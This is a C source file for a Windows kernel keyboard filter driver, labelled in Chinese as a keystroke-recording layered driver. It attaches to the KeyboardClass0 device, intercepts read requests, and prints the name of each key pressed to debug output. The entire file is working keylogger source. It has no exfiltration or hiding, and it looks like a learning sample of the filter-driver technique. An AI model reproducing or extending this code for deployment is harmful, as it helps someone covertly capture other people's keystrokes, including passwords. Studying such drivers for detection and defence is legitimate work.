fenceng.c

键盘记录分层驱动

#include <ntddk.h>
#include <ntddkbd.h>

PDEVICE_OBJECT selfdevice,targetdevice;;

PIRP pcancel;

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#pragma LOCKEDCODE
NTSTATUS CompeleteRoutin(IN PDEVICE_OBJECT DeviceObject,
						 IN PIRP Irp,
						 IN PVOID Context
						 )
{

	    PKEYBOARD_INPUT_DATA key;
		if (Irp->PendingReturned==TRUE)
		{
			IoMarkIrpPending(Irp);
		}
		key = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
        _try{
				if (key->Flags==KEY_MAKE && key->MakeCode)
				{
					
					switch (key->MakeCode)
					{
					case 0x1:
						DbgPrint("ESC 键被按下");
						break;
					case 0x2:
						DbgPrint("1 键被按下");
						break;
					case 0x3:
						DbgPrint("2 键被按下");
						break;
					case 0x4:
						DbgPrint("3 键被按下");
						break;
					case 0x5:
						DbgPrint("4 键被按下");
						break;
					case 0x6:
						DbgPrint("5 键被按下");
						break;
					case 0x7:
						DbgPrint("6 键被按下");
						break;
					case 0x8:
						DbgPrint("7 键被按下");
						break;
					case 0x9:
						DbgPrint("8 键被按下");
						break;
					case 0xA:
						DbgPrint("9 键被按下");
						break;
					case 0xB:
						DbgPrint("0 键被按下");
						break;
					case 0xC:
						DbgPrint("- 键被按下");
						break;
					case 0xD:
						DbgPrint("= 键被按下");
						break;
					case 0xE:
						DbgPrint("BACKSPACE 键被按下");
						break;
					case 0xF:
						DbgPrint("TAB 键被按下");
						break;
					case 0x10:
						DbgPrint("Q 键被按下");
						break;
					case 0x11:
						DbgPrint("W 键被按下");
						break;
					case 0x12:
						DbgPrint("E 键被按下");
						break;
					case 0x13:
						DbgPrint("R 键被按下");
						break;
					case 0x14:
						DbgPrint("T 键被按下");
						break;
					case 0x15:
						DbgPrint("Y 键被按下");
						break;
					case 0x16:
						DbgPrint("U 键被按下");
						break;
					case 0x17:
						DbgPrint("I 键被按下");
						break;
					case 0x18:
						DbgPrint("O 键被按下");
						break;
					case 0x19:
						DbgPrint("P 键被按下");
						break;
					case 0x1A:
						DbgPrint("[ 键被按下");
						break;
					case 0x1B:
						DbgPrint("] 键被按下");
						break;
					case 0x2B:
						DbgPrint("\\ 键被按下");
						break;
					case 0x1D:
						DbgPrint("LEFT CTRL 键被按下");
						break;
					case 0x1E:
						DbgPrint("A 键被按下");
						break;
					case 0x1F:
						DbgPrint("S 键被按下");
						break;
					case 0x20:
						DbgPrint("D 键被按下");
						break;
					case 0x21:
						DbgPrint("F 键被按下");
						break;
					case 0x22:
						DbgPrint("G 键被按下");
						break;
					case 0x23:
						DbgPrint("H 键被按下");
						break;
					case 0x24:
						DbgPrint("J 键被按下");
						break;
					case 0x25:
						DbgPrint("K 键被按下");
						break;
					case 0x26:
						DbgPrint("L 键被按下");
						break;
					case 0x27:
						DbgPrint("; 键被按下");
						break;
					case 0x28:
						DbgPrint("' 键被按下");
						break;
					case 0x29:
						DbgPrint("` 键被按下");
						break;
					case 0x2A:
						DbgPrint("LEFT SHIFT 键被按下");
						break;
					case 0x1C:
						DbgPrint("ENTER 键被按下");
						break;
					case 0x2C:
						DbgPrint("Z 键被按下");
						break;
					case 0x2D:
						DbgPrint("X 键被按下");
						break;
					case 0x2E:
						DbgPrint("C 键被按下");
						break;
					case 0x2F:
						DbgPrint("V 键被按下");
						break;
					case 0x30:
						DbgPrint("B 键被按下");
						break;
					case 0x31:
						DbgPrint("N 键被按下");
						break;
					case 0x32:
						DbgPrint("M 键被按下");
						break;
					case 0x33:
						DbgPrint(", 键被按下");
						break;
					case 0x34:
						DbgPrint(". 键被按下");
						break;
					case 0x35:
						DbgPrint("/ 键被按下");
						break;
					case 0x36:
						DbgPrint("RIGHT SHIFT 键被按下");
						break;
					case 0x37:
						DbgPrint("* 键被按下");
						break;
					case 0x38:
						DbgPrint("LEFT ALT 键被按下");
						break;
					case 0x39:
						DbgPrint("SPACE 键被按下");
						break;
					case 0x3A:
						DbgPrint("CAP LOCK 键被按下");
						break;
					case 0x3B:
						DbgPrint("F1 键被按下");
						break;
					case 0x3C:
						DbgPrint("F2 键被按下");
						break;
					case 0x3D:
						DbgPrint("F3 键被按下");
						break;
					case 0x3E:
						DbgPrint("F4 键被按下");
						break;
					case 0x3F:
						DbgPrint("F5 键被按下");
						break;
					case 0x40:
						DbgPrint("F6 键被按下");
						break;
					case 0x41:
						DbgPrint("F7 键被按下");
						break;
					case 0x42:
						DbgPrint("F8 键被按下");
						break;
					case 0x43:
						DbgPrint("F9 键被按下");
						break;
					case 0x44:
						DbgPrint("F10 键被按下");
						break;
					case 0x45:
						DbgPrint("NumLock 键被按下");
						break;
					case 0x46:
						DbgPrint("小键盘 / 键被按下");
						break;
					case 0x47:
						DbgPrint("小键盘 7 键被按下");
						break;
					case 0x48:
						DbgPrint("小键盘 8 键被按下");
						break;
					case 0x49:
						DbgPrint("小键盘 9 键被按下");
						break;
					case 0x4A:
						DbgPrint("小键盘 - 键被按下");
						break;
					case 0x4B:
						DbgPrint("小键盘 4 键被按下");
						break;
					case 0x4C:
						DbgPrint("小键盘 5 键被按下");
						break;
					case 0x4D:
						DbgPrint("小键盘 6 键被按下");
						break;
                    case 0x4E:
						DbgPrint("小键盘 + 键被按下");
						break;
					case 0x4F:
						DbgPrint("小键盘 1 键被按下");
						break;
					case 0x50:
						DbgPrint("小键盘 2 键被按下");
						break;
					case 0x51:
						DbgPrint("小键盘 3 键被按下");
						break;
					case 0x52:
						DbgPrint("小键盘 0 键被按下");
						break;
					case 0x53:
						DbgPrint("小键盘 . 键被按下");
						break;
					case 0x57:
						DbgPrint("F11 键被按下");
						break;
					case 0x58:
						DbgPrint("F12 键被按下");
						break;

					default:
						DbgPrint("%X",key->MakeCode);
						break;
					}
				}
		}_except(EXCEPTION_CONTINUE_EXECUTION)
		{
                DbgPrint("%x",GetExceptionCode());
		}
		return STATUS_CONTINUE_COMPLETION;

    
   
}

#pragma PAGEDCODE
NTSTATUS
Dispatch(
		 IN PDEVICE_OBJECT  DeviceObject,
		 IN PIRP  Irp
    )
{

	IoSkipCurrentIrpStackLocation(Irp);
	return IoCallDriver(targetdevice,Irp);
}

NTSTATUS
DispatchRead(
				  IN PDEVICE_OBJECT  DeviceObject,
				  IN PIRP  Irp
    )
{
	PIO_STACK_LOCATION irpsp;
	NTSTATUS s;
	PKEYBOARD_INPUT_DATA key;


	//DbgPrint("read");
 
	pcancel = Irp;
    IoCopyCurrentIrpStackLocationToNext(Irp);
//    IoSkipCurrentIrpStackLocation(Irp);

	IoSetCompletionRoutine(Irp,CompeleteRoutin,NULL,TRUE,TRUE,TRUE);

	return IoCallDriver(targetdevice,Irp);

}



VOID 
Unload( 
		  IN PDRIVER_OBJECT  DriverObject 
    )
{
	if (pcancel)
	{
		IoCancelIrp(pcancel);
	}
	

	IoDetachDevice(targetdevice);
	IoDeleteDevice(selfdevice);
	DbgPrint("Driver Unload!");
}



NTSTATUS 
DriverEntry( 
			IN PDRIVER_OBJECT  DriverObject, 
			IN PUNICODE_STRING  RegistryPath 
    )
{
    PDEVICE_OBJECT device;
	PFILE_OBJECT file;
	NTSTATUS s;
    UNICODE_STRING DeviceName;
	ULONG i;


	DbgPrint("Driver loaded!");
	DriverObject->DriverUnload = Unload;

	for (i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
	{
		DriverObject->MajorFunction[i] = Dispatch;
	}

	DriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;


	
	RtlInitUnicodeString(&DeviceName,L"\\Device\\KeyboardClass0");

	s = IoGetDeviceObjectPointer(&DeviceName,FILE_ALL_ACCESS,&file,&device);

	if (!NT_SUCCESS(s))
	{
		DbgPrint("Get Device error!");
		return s;
	}
    
	s = IoCreateDevice(DriverObject,
		                0,
                        NULL,
						device->Type,
						device->Characteristics,
						TRUE,
						&selfdevice
						);
	if (!NT_SUCCESS(s))
	{
		ObDereferenceObject(file);
		DbgPrint("Create Device Faile!!!");
		return s;
	}
    
    targetdevice = IoAttachDeviceToDeviceStack(selfdevice,device);

	if (!targetdevice)
	{
		IoDeleteDevice(selfdevice);
		ObDereferenceObject(file);
		DbgPrint("attach faile");
		return STATUS_INSUFFICIENT_RESOURCES;
	}

	selfdevice->DeviceType = targetdevice->DeviceType;
	selfdevice->Characteristics = targetdevice->Characteristics;
	selfdevice->Flags &=~DO_DEVICE_INITIALIZING;
	selfdevice->Flags |=(targetdevice->Flags & (DO_DIRECT_IO | DO_BUFFERED_IO));

	ObDereferenceObject(file);
	DbgPrint("SUCCESS");

	return STATUS_SUCCESS;
}